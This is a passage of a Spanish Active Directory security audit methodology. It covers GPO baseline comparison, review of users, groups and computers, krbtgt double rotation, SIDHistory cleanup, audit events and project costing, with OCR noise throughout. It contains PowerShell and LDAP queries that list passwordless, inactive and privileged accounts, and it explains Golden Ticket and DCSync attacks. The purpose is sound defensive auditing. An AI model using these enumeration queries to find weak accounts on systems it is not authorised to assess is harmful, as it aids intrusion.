infraestructura de Active Directory, la comparacion es realizada a partir de las guias del CIS, no
obstante, si una organizacion tiene sus propias guias de bastionado por particularidades de la
infraestructura o para cumplir con las necesidades de negocio se pueden cargar también de forma
sencilla.

Adicionalmente, existe otro software orientado al compliance de politicas o software orientado a
labores de seguridad que incluyen funcionalidades con el objetivo de validar politicas
organizativas, existe software como Bigfix (IBM) que incorpora la validacion automatica de las
politicas de todos los servidores miembro y end-points del dominio. Otra herramienta, pero mas
centrada en end-points es endpoint manager (Symantec), la cual, es capaz de validar y aplicar
politicas incluso a dispositivos en movilidad geogréfica de la organizacion.

La herramienta SCM puede ser descargada de forma gratuita siguiendo el siguiente enlace:
https://www.microsoft.com/en-us/download/confirmation.aspx?id=53353
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Una vez seguido el proceso de instalacién habitual del software se inicia y solicita actualizar las
listas de guias de bastionado (en caso de incorporar novedades o realizar nuevas
recomendaciones por parte de guias del CIS vienen indicados en este apartado). Es importante

destacar que la instalacion debe ser realizada en un equipo diferente a los Domain Controller.
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Figura 58 Pantalla de inicio SCM

Una vez finalizada la instalacién se pueden cargar las GPOs de una infraestructura de Active
Directory. Es importante tener en cuenta que las restricciones de un Domain controller son
diferentes a la de un end-point, las guias del CIS tienen estas particularidades en cuenta. En caso
de que la organizacidén posea sus propias guias o baselines de bastionado se debe solicitar para
evaluarlas de forma automatizada en la herramienta.

Para evaluar si las GPOs de una organizacion cumplen con los principios de seguridad estipulados
se debe solicitar al cliente o la organizacién auditada la Default Domain Policy y la Default Domain
Controllers Policy como minimo, en caso de una mayor granularidad se deben establecer las
pautas y el alcance de la revisién ya que ello incrementaria de forma considerable el tiempo de
revision dentro del proyecto.

2L Group Policy Management
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4 Group Policy Results

Figura 59 Default Domain Policy sobre la infraestructura de Active Directory

Para realizar la extraccion de una GPO se debe entrar a la herramienta Group Policy Managment,
existente en cualquier Domain controller de la infraestructura de Active Directory. Una vez dentro
de la herramienta se deben seleccionar aquellas GPOs que se desean evaluar y seleccionar la
opcidén de Backup, con ello solicita una ruta y un nombre para exportar el archivo.
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Figura 60 Exportacion de GPO

Una vez con la GPO exportada solo hay que solicitar al cliente que nos envié esa extraccién para
poder evaluarla de forma local y sin necesidad de tener que revisar los datos sobre Domain

controllers en produccion.

Una vez obtenidas las GPOs para poder analizarlas en local, se debe proceder a cargarlas dentro
de SCM (u otra herramienta considerada por el consultor de seguridad).
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GPO Backu
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Figura 61 Carga de GPO a la herramienta SCM

Una vez cargada la politica se debe realizar una comparaciéon con las guias de bastionado

descargadas del CIS o con las “cumstomizadas” de la organizacion auditada.
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Figura 62 Comparativa en SCM con las compliance baselines

Una vez realizada la comparacion entre diferentes politicas, se visualizan las politicas que difieren
en ambas, las que son iguales y las que estan tanto en una o en otra guia, en caso de que existan
politicas que no estén incluidas en la organizacion se debe realizar una recomendacion para la
incorporacién de la misma.

Una vez disefiadas las medidas pertinentes sobre mejora de GPOs pueden existir problemas al
intentar modificar politicas, a este efecto se le conoce como “tattoed policies”. En este sentido,
ciertas politicas pueden causar un efecto contrario al esperado sobre el propio sistema o causar
problemas de compatibilidad con otros sistemas o componentes de la red. Para evitar este tipo
de situaciones, se debe seguir un proceso de “vuelta atras” que garantice que los efectos adversos
provocados por la configuracion no persistan en el tiempo.

En ciertas ocasiones, las politicas desplegadas pueden quedar almacenadas en los registros del
sistema operativo, de forma que, aunque se deshabilite la GPO, el cambio sigue teniendo efecto
sobre el sistema destino.

En caso de que la politica/configuraciéon quede persistente en los registros del sistema operativo
es necesario eliminarla de forma manual o automatica accediendo al registro del sistema destino.

Para la eliminacién manual, hay que eliminar la configuracién de los siguientes directorios
dependiendo de la politica:

HKLM\Software\Policies\Microsoft
HKCU\Software\Policies\Microsoft
HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies

Para el borrado de forma automatica, se puede utilizar PowerShell a través del siguiente comando:

Remove-GPRegistryValue -Name NAME -Key KEY -valueName POLICY

En el comando anterior, "NAME" es el nombre de la GPO, KEY es la clave del registro que se
necesita modificar y POLICY es el nombre del valor del registro que se desea eliminar.
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Otro mecanismo para la eliminacion de los registros derivados de la aplicacion de politicas de
grupo con efectos adversos es cambiar su estado a “Policy Disabled". Las politicas, generalmente,
cuentan con tres estados:

- Policy Not Defined: En este estado la politica no tiene valores especificados, si existian
valores previamente seguiran utilizandose los usados con anterioridad hasta que no se
especifiquen otros nuevos.

- Policy Disabled: Cualquier valor que haya sido creado por esta politica sera eliminado.
- Policy Enabled: Los valores especificados en esta politica seran los aplicados por la misma.

En caso de que exista persistencia por parte de unos valores creados por una politica que se desea
eliminar se recomienda cambiar su estado, por ejemplo, a “disabled” para eliminar la persistencia
del valor “enabled” ya que, en muchas ocasiones, si la politica de grupo adversa se configura con
el valor “Not defined”, el valor previo no se llega a sobrescribir y sigue causando problemas.

4.3.5. Despliegue y cambios sobre politicas existentes o nueva creacion

Dentro de este apartado, se define la estrategia a tomar para la implantacién de politicas sobre
los servidores corporativos. Esta estrategia cuenta con un despliegue paulatino de politicas,
definiendo primero una GPO baseline (GPO base) y posteriormente las comprobaciones sobre las
politicas de mayor riesgo, ambas sobre servidores piloto para que, una vez validadas las
configuraciones se apliquen sobre los servidores en produccion minimizando de esta forma los
posibles riesgos.

Las fases se realizan de forma secuencial, siguiendo un orden de servidores miembro a Domain
controllers evitando asi interferir en la operatividad de los servicios.

En caso de encontrar politicas o configuraciones que afecten a la funcionalidad de los servicios o
no se desplieguen de forma adecuada, se debe analizar la causa raiz que ha llevado a dicho
estado. Si se encuentra una solucion, se debe documentar y reintentar el despliegue de la politica
afectada tras solventar los inconvenientes. En caso opuesto, se crea una excepcion y se siguen los
pasos para volver a un estado anterior evitando persistencia de datos en los registros.

4.4. Bloque IV: Objetos de Active Directory

Los componentes basicos y los que dotan de la logica basica de una infraestructura de Active
Directory son los objetos contenidos en el arbol. En este apartado se pretende aportar una visién
para abordar la revisidn de objetos la infraestructura de Active Directory conociendo los aspectos
mas relevantes.

4.4.1. Revision de usuarios

Durante una revision de Active Directory los usuarios debe ser un pilar basico en el que identificar
posibles riesgos dentro de las configuraciones.

Por normal general y salvo excepciones contadas, los usuarios deben ser nominales para
identificar correctamente al propietario en caso de contingencia tecnoldgica apoyandose en un
usuario para realizar un ataque, facilitando asi la trazabilidad de las acciones sobre la
infraestructura de Active Directory. Los usuarios dentro de la infraestructura de Active Directory
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con configuraciones consideradas inseguras pueden resultar un riesgo elevado para la

organizacion.

A continuacion, se detallan los aspectos mas comunes que se debe revisar sobre los usuarios de

la infraestructura de Active Directory, asi como las herramientas utilizadas:

- Mecanismos de autenticacion débiles: Los usuarios de Active Directory con tipos de

autenticacion que permitan autenticacion con cifrado DES sobre tickets de Kerberos
deben ser considerados como inseguros para la organizacion. Esto significa que un
atacante podria aprovechar esta vulnerabilidad para negociar una autenticacién DES con
la cuenta y tomar el control de la misma rompiendo el algoritmo. DES es el algoritmo mas

débil utilizado para firmar tickets de Kerberos.

Miguel Ruiz Properties 7 ot
Member Of Diglin Environment Sessions
Remote control Remuote Desktop Services Profile COM+
General Address Accourt Profile Telephones Crganization

User logon name:
| | @fakeorg.com ~
User logon name (pre-Windows 2000):
|FAKEORG | [mmiz
Logon Hours... Log On Ta...
[ Unlock account
Account options:
[] Smart card is required for interactive logon &
[] Accourt is sensttive and cannot be delegated
Use only Kerberos DES encryption types for this account
[] This account supports Kerberos AES 128 bit encryption. W
Account expires
(®) Never
() End of: |du:umingu:u . 7de octubre de 2018
Cancel Aoply Help

Figura 63 Opciones de usuario dentro de Active Directory

- Usuarios inactivos: Los usuarios inactivos dentro de una infraestructura de Active

Directory pueden suponer un aumento en los tiempos de replicacién al tener que
actualizar las configuraciones, actualizacion de politicas o cambios en la estructura de
arbol de Active Directory. En este sentido, la ausencia de control sobre estos objetos
puede derivar en un riesgo para la seguridad de la infraestructura ya que un atacante
podria utilizar estos usuarios como “backdoors” al no existir un control sobre los

mismos.

Microsoft considera una cuenta inactiva cuando llevan 180 dias sin establecer una
comunicacién sobre Active Directory. Un numero elevado de cuentas son signo de que
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no se esta realizando ningln proceso de borrado y mantenimiento de cuentas inactivas.
Para mitigar este tipo de eventos se recomienda establecer un proceso de gestiéon y
borrado de cuentas inactivas dentro de la organizacion, definiendo unos tiempos
apropiados para su limpieza. Para localizar cuentas inactivas dentro de la infraestructura
de Active Directory, se recomienda el siguiente comando de Powershell, siendo days el
tiempo de vida de una cuenta inactiva definida por la organizacién:

Search-ADaccount -AccountInactive -Timespan {days}

Cuentas sin contrasefia y/o sin obligacién de tenerla: Las cuentas de usuario, servicio y/o

aplicacién sin contrasefia o sin la necesidad de incluirla pueden ser vulneradas de forma
sencilla por un atacante al no requerir de credenciales para obtener el acceso a las
mismas. Cuando se crea una cuenta sin fijar una contrasefa, se fija el flag
PASSWD_NOTREQD en el atributo useraccountcontrol. PASSWD_NOTREQD permite que
la cuenta requiera de una contrasefia obligatoria. Para corregir esta vulnerabilidad se
recomienda la creacion de un procedimiento de revision periddica sobre las cuentas de
usuario que no requieren de contrasefa y eliminar el flag PASSWD_NOTREQD siempre
que sea posible. Las cuentas que no requieran contrasefia dada su naturaleza o uso deben
ser documentadas de forma periddica. Para facilitar su enumeracion, se recomienda el
siguiente comando de Powershell que facilita la localizacion de las cuentas mencionadas.

Get-adobject -ldapfilter “ (& (objectCategory=person) (objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=32))” -properties
useraccountcontrol

Administradores de Domain _Controllers fuera del grupo Domain admins: Los

administradores de los controladores de dominio por parte de usuarios que no
pertenecen al grupo administradores del dominio o Enterprise Domain Controllers
pueden suponer un riesgo elevado para la organizacién. En algunos casos, especialmente
cuando el servidor ha sido promovido desde un servidor existente, el propietario puede
ser un usuario sin permisos de administracion que ha unido el servidor al dominio
(normalmente administradores de sistemas). Si usuarios o grupos tienen derechos sobre
esa cuenta de usuarios, se puede utilizar para tomar posesion del dominio ya que puede
tener medidas de seguridad menos ambiciosas al no pertenecer a grupos de
administracién por defecto. Para mitigar esta vulnerabilidad se recomienda modificar el
propietario de los Domain Controllers afectados para aumentar el nivel de seguridad y
evitar aumentos en la superficie de ataque. Para verificar los cambios de propietario se
recomienda el uso del siguiente comando de PowerShell:

Get-ADComputer -server my.domain.to.check -LDAPFilter

“ (& (objectCategory=computer) (primarygroupuid=521) (primarygroupuid=516)
))” -properties name, ntsecuritydescriptor | select

name, {$ .ntsecuritydescriptor.Owner}

4.4.2. Revision de grupos

Los grupos son otro de los componentes vitales de una infraestructura de Active Directory. Grupos

con configuraciones inseguras pueden ser aprovechados por parte de un atacante para tomar el

control de los mismos y desde ahi, pivotar al resto de infraestructura. El control puede ser
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obtenido incluso desde otros dominios con los que se haya establecido una relacién de confianza,

aumentando asi la superficie de ataque.

Entre los detalles a los que mas importancia se debe dedicar durante la revisién de grupos

destacan los siguientes:

Revisién de grupo Domain y Enterprise _admins: Ambos grupos son los méaximos
responsables de la infraestructura de Active Directory, por tanto, solo un grupo reducido
de usuarios deberia de pertenecer a este grupo. En este sentido, los administradores de
sistemas de forma limitada deberian formar parte de los mismos y evitando ampliar

permisos que puedan poner en riesgo la infraestructura.

Monitorizacién de grupos privilegiados: Los grupos de administracion deben de tener

una mayor monitorizacién que el resto al tener las mayores capacidades dentro de la
infraestructura, por tanto, los administradores no deberian de poder borrar ni eliminar
logs y estos, deberian de ser enviados de forma periddica a un acumulador de eventos.

Proteccién de borrado accidental: Una de las practicas mas comunes es la eliminacion de
un grupo de forma accidental. Los grupos deben estar creados bajo esta proteccién para

evitar graves dafio sobre la infraestructura de Active Directory.

=y PELEN QNITTIN user
%Miguel Ruiz User

2, kebtgt_13449

E'J krbtgt Active Directery Domain Services

:%Key.ﬂ«dmins

&, Jax Teller Are you sure you want to delete the Security Group - Global named
%Jacintn Benavente I 'GroupTEST'?

Ea;Guest

B2 GroupTEST

:%Group Policy Creatd Yes

:% Enterprise Read-onl

82, Enterorise Kev Admins Securitv Group...  Members of this aroup ...

Figura 64 Ejemplo de proteccion de borrado accidental sobre grupos

Revisidn de grupos sin miembros: Los grupos vacios o sin miembros, por normal general,

suponen un peligro para la organizacion ya que suponen que no se estan revisando las
casuisticas y los motivos por el que se encuentran vacios.

Revision de grupos “everyone”: El grupo everyone puede ser accesible y cualquier usuario

de la organizacion es miembro del mismo. Adicionalmente, grupos y usuarios externos
que tengan una relacion de confianza con el dominio también podrian tener acceso. Para
la mitigacion de esta vulnerabilidad se recomienda la eliminacién de este grupo en la
medida de lo posible o aislar dicho grupo para evitar exposiciones que afecten a la

organizacion.

4.4.3. Revision de equipos

Los equipos de la infraestructura de Active Directory son otro de los pilares basicos para proveer

de soporte a una organizacion, en los equipos se engloban tanto end-points como maquinas

dentro del dominio. Mantener los equipos actualizados y correctamente configurados entran en

parte dentro de las tareas de hardening de servidores y se saldria del alcance de la revision de la

infraestructura de Active Directory.
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No obstante, se debe hacer especial mencion a equipos fuera de soporte (equipos con sistema
operativo los cuales, el fabricante no libera nuevas actualizaciones u optimizaciones del software).

El uso de software obsoleto (Windows XP, Windows Server 2000, Windows Server 2003), podria
presentar vulnerabilidades y/o debilidades de seguridad para las que ya no existen parches de
seguridad que las puedan corregir. En su mayoria, dichas vulnerabilidades son de conocimiento
publico y se encuentran disponibles en internet. Es por ello que un atacante podria explotar las
mencionadas vulnerabilidades para intentar comprometer la integridad, confidencialidad y/o
disponibilidad de la informacion.

Para el control de software fuera de soporte se recomienda analizar la posibilidad de migrar el
sistema operativo a la Ultima versién disponible. Sino fuese posible llevar a cabo la migracion, se
recomienda aislar el servicio a nivel de red permitiendo Unicamente los accesos estrictamente
necesarios.

Para localizar las maquinas fuera de soporte dentro de la infraestructura de Active Directory se
recomienda el uso del siguiente comando de PowerShell:

Get-ADComputer -Filter * -Property * | Format-Table Name,
OperatingSystem, OperatingSystemServicePack, OperatingSystemVersion -
Wrap -Auto

Entre los otros detalles que se deben revisar dentro de los equipos de la infraestructura de Active
Directory destacan los siguientes:

- Revision de los equipos deshabilitados: Los equipos con méas de 6 meses deshabilitados

dentro de la infraestructura de Active Directory deben de ser eliminados de la estructura
de arbol para evitar aumentos en la superficie de ataque.

- Equipos inactivos: Aquellas maquinas en las que no se haya producido ningun login (tanto

usuarios miembros como usuarios de aplicacién) deben de ser deshabilitados tras tres
meses sin actividad.

- Inventariado de equipos actualizado: Debe existir un inventario corporativo que

mantenga los sistemas bajo dominio actualizados e identificando al responsable de los
mismos para conocer qué personas debe desplegar las recomendaciones de seguridad
proporcionadas.

- Equipos sin requerimiento de contrasefia: Los equipos pueden tener la flag
PASSWD_NOTRQD evitando la solicitud de credenciales al establecer un intento de
conexion. Se debe eliminar este tipo de configuraciones para limitar la ventana de

exposicion.

- Revision de Shadow Admins: Adicionalmente a los Domain admins y Enterprise admins

existe un concepto denominado shadowadmins, estos usuarios son aquellos con permisos
de administracion fuera de los grupos primarios de administraciéon y pueden estar fuera
del control de la organizacién.

Los shadowadmins son detectados a través de la flag “adminCount”, cuando este asignada
a un valor uno quiere decir que el usuario tiene o ha tenido permisos de administracion
fuera de los grupos de administracién, esto puede ser un indicador de una posible
vulneracién de seguridad. Una de las posibles formas de activar este indicador es que
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nuestra cuenta haya necesitado una elevacion de privilegios a través de helpdesk para
alguna tarea de mantenimiento o por explotacién de una vulnerabilidad por lo que se
deberia de analizar las causas y eliminar la flag de admincount para evitar posibles
backdoor o problemas en la replicacidn de la estructura de arbol.

Para mitigar este tipo de vulnerabilidad se recomienda procedimentar revisiones
perioddicas sobre los usuarios considerados como “sospechosos” dada su pertenencia a
grupos fuera de administracion primarios y/o definidos por la organizacion. En este
sentido, esta revisidbn permitira evitar errores de replicacion que impacten sobre la
disponibilidad e integridad de la infraestructura de Active Directory.

Para facilitar el proceso de revision se provee del comando necesario a utilizar dentro de
PowerShell:

‘Get—aduser -Filter {admincount -eq 1} -Properties adminCount

4.5. Bloque V: Configuracion de seguridad de Active Directory

Una vez revisada la infraestructura, el bastionado de los sistemas, objetos y politicas, se debe
estudiar en profundidad las configuraciones dentro de la infraestructura para aumentar el nivel
de seguridad lo méximo posible, en este apartado se presentan los aspectos mas relevantes que
se deben revisar relativos a este ambito.

4.5.1. Doble rotado de la contraseina de Kerberos

La inexistencia de un proceso y una planificaciéon del doble rotado de la contrasefia de la cuenta
de Kerberos puede derivar en ataques de “Golden ticket” para tomar el control de acciones
administrativas sobre la infraestructura de Active Directory. Un atacante que obtenga el hash de
la contrasefa de la cuenta krbgt podria generar tickets de Kerberos dentro de la organizacién,
realizar acciones de administracién y obtener accesos a sistemas y aplicaciones criticas dentro de
la organizacion.

En este sentido, la doble rotacion es necesaria ya que existen ataques especificos para obtener la
ultima contrasefia utilizada sobre Kerberos siendo vélidos los tickets generados, por ello la
aplicacién del doble rotado.

Si se analiza la infraestructura desplegada en el laboratorio se pueden encontrar indicios que
muestran como la contrasefia permanece sin rotado desde hace un largo periodo de tiempo. La
contrasefa utilizada se puede obtener mediante ataques DCSyn o accediendo a datos de backups
ya que la contrasefa anterior utilizada se puede aprovechar para realizar un ataque y obtener un
Golden ticket.

Last change of the Kerberos password: 28/02/2018 17:29:19

Figura 65 Resultados de pingcastle relacionados con Kerberos

Para solucionar este tipo de eventos dentro de la organizacion se recomienda crear un
procedimiento para realizar la doble rotacién de forma periddica de la contrasefa de la cuenta
krbgt. El periodo de doble rotado recomendado por Microsoft estd contemplado entre 40 y 90
dias.
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En este sentido, la actualizacion y aplicacion del doble rotado sobre la contrasefia de kerberos
puede resultar un proceso complejo, por ello, se recomienda el uso de scripts liberados por
Microsoft con el objetivo de facilitar el doble rotado. Se recomienda que previamente al
despliegue de estos scripts en entornos productivos se realicen pruebas de funcionamiento sobre
un entorno de laboratorio.

El script recomendado para la automatizacion periddica del doble rotado de la contrasefia de la
cuenta de Kerberos es el siguiente:

https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51/view/Discussions

4.5.2. Objetos de origen desconocido

La existencia de objetos con un SIDHistory desconocido (dominio desconocido sin una relacion
de confianza, probablemente migrado), puede derivar en errores de replicacion. Adicionalmente,
un atacante podria utilizar estos objetos para crear ataques mas sofisticados basédndose en la
existencia de los mismos.

La existencia de estos objetos suele ser comun entre las diferentes organizaciones debido a que
no se presta la suficiente atencién, para solventar esta vulnerabilidad, se recomienda eliminar los
objetos con un SIDHistory desconocido siempre que sea posible. En cuanto a las cuentas que no
pueden ser eliminadas, éstas, deben ser administradas, documentadas y restringidas en la medida
de lo posible.

Para localizar los objetos con un origen desconocido se recomienda utilizar el siguiente comando
de Powershell:

Get-ADObject -ldapfilter “(sidhistory=*)” -properties SIDHistory

Adicionalmente, Microsoft proporciona una serie de medidas y scripts para proveer de soporte a
los encargados de aplicar los procedimientos de seguridad necesarios dentro de la organizacion
destinados a la limpieza de objetos con SIDHistory desconocido:

https://gallery.technet.microsoft.com/How-to-remove-all-unknown-9d594f3a

4.5.3. Revision de OUs

Las politicas, los usuarios, ordenadores y grupos dentro de unidades organizativas determinara la
configuracion y permisos de todos los elementos de la infraestructura de arbol de Active Directory.
En este sentido, es necesario revisar la arquitectura de grupos y, asimismo, donde se encuentran
la directiva de grupos y a que unidades organizativas se estan aplicando.

Entre las buenas practicas que se deben revisar dentro de estos objetos son los siguientes
elementos:

- Revision de politicas vinculadas a unidades organizativas: Las politicas se aplican sobre

las unidades organizativas en las organizaciones evitando los grupos ya que estas son
contenedores, estas estructuras permiten granuralizar la informacién y tener una
infraestructura flexible diferencia y limitada por permisos adaptados a las necesidades de
la organizacién. Por ello, se recomienda revisar las diferentes politicas aplicadas a las
unidades organizativas verificando que cumplen el principio de minimos privilegios
necesarios.
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- Revision de proteccién contra el borrado accidental: Al igual que con los grupos, las

unidades organizativas deben tener proteccién contra los borrados accidentales. A
diferencia de los grupos, las unidades organizativas pueden agrupar a esos grupos, a
usuarios y a otros objetos dependiendo de las necesidades de negocio, con la diferencia
que, a estas unidades se les puede delegar permisos de manera adicional, por tanto,
deben incorporar medidas de proteccion extra.

- OuUs vacias: La existencia de unidades organizativas vacias (sin usuarios ni grupos) con
delegaciones de permisos asociadas pueden posibilitar el aprovechamiento por parte de
atacantes externos para acceder a diferentes recursos de la infraestructura, por tanto, se
debe analizar la existencia de estos elementos vacios, documentar su necesidad y en caso
de no ser necesario, una limpieza de los mismos.

4.5.4. Delegacion de permisos con origen desconocido

La delegacion de permisos es una parte critica de las infraestructuras IT para la mayoria de las
organizaciones. Al delegar la administracién, puede conceder a los usuarios o grupos solo los
permisos minimos necesarios, sin afadir a usuarios a grupos privilegiados (por ejemplo,
administradores de domino, operators, Enterprise admin, etc.).

Las delegaciones por parte de origen desconocido podrian provocar fallos en la replicacion de
Active Directory. Adicionalmente, un atacante podria aprovechar una de estas delegaciones sin
conocer el origen de su naturaleza para realizar un ataque dirigido en ausencia de un control
definido sobre las mismas.

Las delegaciones de permisos incorporan informacion sobre quién ha generado dicha delegacion.
Si se desconoce la entidad que la cred, aparece un SIDHistory que identifica quien la generé. Al
no pertenecer a la infraestructura de Active Directory de la organizacién ni de las relaciones de
confianza establecidas, aparece como un SIDHistory desconocido y con escasa posibilidad de
trazabilidad de acciones en caso de contingencia tecnolégica.

Otra causa podria ser que la cuenta que cred dicha delegacion puede que sea una cuenta “legacy”
o de extrafia naturaleza y ello impide que sea traducida a una cuenta NT.

Al igual que para objetos vacios se deben realizar revisiones periddicas sobre las delegaciones y
procedimentar y analizar las causas de la existencia de estos elementos.

4.6. Bloque VI: Eventos de auditoria

La gestion de los eventos de seguridad y mas aun, los de la infraestructura de Active Directory son
un activo preciado por parte de los miembros de los equipos de seguridad para el control de las
contingencias tecnoldgicas o eventos adversos de seguridad que pueden ser potencialmente
peligrosos para la integridad, confidencialidad y disponibilidad de la infraestructura de Active
Directory.

A continuacion, se provee de al menos qué eventos minimos deben estar habilitados y de forma
adicional, la existencia de un acumulador de eventos o SIEM que analice la actividad y la l6gica
de todos los registros enviados.

Entre los eventos que deben controlarse destacan los siguientes:
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Validacion de credenciales: Los intentos de login sobre servidores miembro y Domain

Controllers debe ser controlado tanto exitosos (para conocer habitos y accesos habituales
del usuario) como fraudulentos (en caso de intentos de fuerza bruta).

Auditoria de accesos de Kerberos: Accesos vélidos y fraudulentos de los accesos y

generacioén de tickets de Kerberos.

Blogueos de cuenta: En caso de producirse bloqueos de cuenta tras varios intentos de

acceso fallidos, localizar que cuentas son las que se han bloqueado, asi como los horarios
en los que se han producido dichos eventos.

Eventos de logoff. En caso de desconexidon se deben registrar estos eventos en caso de

contingencia tecnoldgica, permiten un analisis elaborado y de situacién en casos de
eventos complejos sobre diferentes sistemas.

Eventos de modificaciones sobre politicas: Los cambios sobre politicas deben ser

registrados, muchos atacantes con acceso a ciertos segmentos de la infraestructura de
Active Directory intentan modificar las politicas para poder acceder o modificar la
totalidad de la infraestructura.

Eventos de integridad en el sistema: Llevar a cabo revisiones de integridad en el sistema

(e.g: modificacion sobre archivos de configuracién de system32), puede proveer de
soporte en caso de que un atacante modifique dlls del sistema e inyecte cédigo en las
mismas, este tipo de eventos registran ese tipo de acciones y su consiguiente timestamp
para localizarlas.

Para mayor flexibilidad y andlisis de mas eventos y capacidades se puede seguir el siguiente enlace

en el que Microsoft explica con mayor detalle la seleccidon de todos los eventos importantes que

se deben de monitorizar:

https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-

practices/audit-policy-recommendations
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Estimacion de recursos

Para la implantacién de la metodologia propuesta en una organizacion, previamente, hay que

tener constancia de los recursos necesarios para llevarlo a cabo, los recursos a tener en cuenta

son los siguientes:

5.1.

Tiempo necesario para completar todas las pruebas, incluidas las reuniones de kick off,
la realizacidn de las diferentes pruebas expuestas en el presente documento, la creacion
de la documentacion y la reunién de cierre o exposicion de resultados.

Personas necesarias para la ejecucion y desempefio dentro del proyecto, cada una de
estas personas.

Coste o precio de la realizacion del proyecto en términos econémicos.

Tiempo

El tiempo es uno de los puntos mas importantes dentro de la definicién del proyecto, se deben

establecer las etapas de forma precisa para evitar conflictos con el cliente y sobre todo para no

caer en

pérdidas econdmicas, hay que tener en cuenta que normalmente pueden existir dentro

de los contratos clausulas de penalizacion que afecten de forma significativa a los beneficios que

pueda generar la ejecucidn del proyecto en caso de no ajustarse a lo vendido al cliente.

En caso de existir un retraso por causas externas o por problemas logisticos, sencillamente, se

desplazara en el tiempo tantos dias como sea necesario llevando una coordinacién y colaboracion

estrecha con el cliente.

Una estimacion de tiempo para la realizacion del proyecto seria la siguiente:

Semana 1l Semana 2

Lista de tareas

Reunion de Kick-off

Ejecucion de los controles

Realizacidén de documentacion

Reunion de cierre
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Reunién de kick-off: En esta reunién se muestra al cliente la metodologia a utilizar, se

presenta de forma formal al equipo de trabajo y se acuerda las necesidades restantes del
proyecto (accesos a las oficinas, accesos por VPN, equipo corporativo de la empresa bajo
dominio, usuario bajo dominio, etc). En caso de que se requiera algun tipo de
informacion (mapas de red, arquitectura, particularidades, etc), es el momento de
solicitarlas, asi como cualquier otra necesidad para que dé comienzo el proyecto.
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e Ejecucion de los controles: En esta fase se realizan los controles detallados en el presente

documento, simplemente, se seguiran las pruebas tal y como estan detalladas en los
diferentes puntos y se tomaran evidencias de todo lo ejecutado sobre la arquitectura del
cliente.

e Realizacion de documentacién: En esta fase se aglutinaran todas las posibles evidencias

y vulnerabilidades encontradas y se documentaran para entregar al cliente. El informe
debe especificar el alcance y limitaciones, asi como un resumen ejecutivo y un desglose
detallado de las vulnerabilidades identificadas explicando el riesgo y la forma de
remediarlo.

e Reunidn de cierre: En la reunién de cierre se exponen las vulnerabilidades mas relevantes
encontradas y se explican los riesgos y posibles alternativas para mitigarlas a los
responsables por parte del cliente. Adicionalmente, se cierran posibles detalles y se
verifica que no existe nada mas pendiente.

5.2. Personas

Las personas son una parte esencial del proyecto, estas seran las encargadas de desempefarlo.
La complejidad del proyecto requiere de minimo de dos personas para llevar a cabo las tareas en
el tiempo estipulado, por lo general se requiere de las siguientes caracteristicas:

o Jefe de equipo, o responsable del proyecto, este rol debe de tener el conocimiento y la
capacidad de entender y realizar todas las pruebas sobre la infraestructura de Active
Directory, asi como la capacidad de dirigir las reuniones y solicitar la informacion y
recursos necesarios.

e Analista, este rol suele ser llevado por una persona con poca experiencia y que va a ser
dirigido en todo momento por el jefe de equipo. Es el responsable de llevar las pruebas
de menor impacto sobre la infraestructura y de coordinarse con el jefe de equipo para
realizar la documentacion, asi como de interiorizar todos los conocimientos del proyecto.

5.3. Coste

En base a los datos proporcionados en los apartados anteriores (tiempo y personas) se debe
realizar un presupuesto de acuerdo dichos datos. Para ello se ha tenido en cuenta datos medios
del mercado y beneficios flexibles dependiendo de los objetivos para/con el cliente.

Para conseguir presupuestar el dimensionado del proyecto, hay que tener en cuenta el
precio/hora que cuesta un analista y un jefe de equipo de media:

e Media aproximada en el mercado de jefe de equipo: 150 €/h
e Media aproximada en el mercado de analista: 70 €/h

Teniendo en cuenta que la jornada laboral utilizada para calcular los costes del proyecto son de
8h el precio total de dos semanas de trabajo es de 17.600 €.
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Adicionalmente, existen otros gastos relacionados como son el beneficio que debe existir por el

desempefio del proyecto, este, puede estar sujeto a rebajas (rate-off), estos pueden estar sujetos

a diferentes factores:

Darse a conocer en el cliente.

Obtener visibilidad para conseguir otros proyectos.

Cliente con bajas capacidades econdmicas.

Relacion entre ambas partes.

Existen otros factores a la hora de calcular el coste total del proyecto (dietas, kilometraje, etc.),

que, en este caso, no se han tenido en cuenta dentro de la ecuacién.

Tanto si se trabajé por cuenta propia como si son trabajadores de una compafia externa, el
beneficio supuesto del proyecto se considerard un 30% (dentro de este porcentaje se agrupa la

mano de obray la amortizacién de los equipos informaticos utilizados) sujeto a los 17.600€., este

precio puede estar sujeto también a ofertas y/o reducciones.
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Dentro del marco tedrico/técnico de este documento se ha representado de forma general los
mecanismos existentes de evaluacién de infraestructuras de Active Directory.

En un primer momento se han descrito los elementos mas importantes de la infraestructura para
mostrar al lector qué elementos constituyen teniendo en cuenta que no han podido tener
contacto con este tipo de infraestructura de forma previa.

El uso de una infraestructura de Active Directory simulada en un entorno de laboratorio ha servido
para que los lectores del documento tengan la capacidad de replicar las pruebas v,
adicionalmente, para mostrar la veracidad de los controles comentados y efectuados.

La seccion de controles esta ordenada de forma que se puedan agrupar y abarcar en profundidad
cada uno de los aspectos, estando validadas en entornos reales y en empresas del IBEX35. El éxito
de la metodologia reside en la combinacién del estudio en profundidad en términos de politicas,
procedimientos y guias con controles tanto automaticos con herramientas adaptadas en estos
entornos y con pruebas manuales adaptandose a cada una de las particularidades del entorno
auditado.

Los objetivos planteados al inicio de este proyecto se han completado de forma satisfactoria. Por
un lado, la definicion de la metodologia abarca tanto la revision de controles sobre niveles
organizativos (procedimientos y gobierno de la infraestructura) como a nivel técnico con
configuraciones, medidas de proteccion y despliegue a nivel de red proporcionando al lector de
este documento un enfoque completo de cdmo se puede abordar este tipo de revisiones. En este
sentido, se han organizado los puntos del documento como controles independientes para poder
realizar un checklist de qué controles y pruebas se pueden llevar a cabo.

Por ultimo, se proponen una serie de recursos estimados y qué pueden variar en funciéon, como
ya se ha mencionado con anterioridad, del cliente, la empresa o trabajador auténomo y de otras
condiciones no tenidas en cuenta (dietas, kildmetros, etc.).
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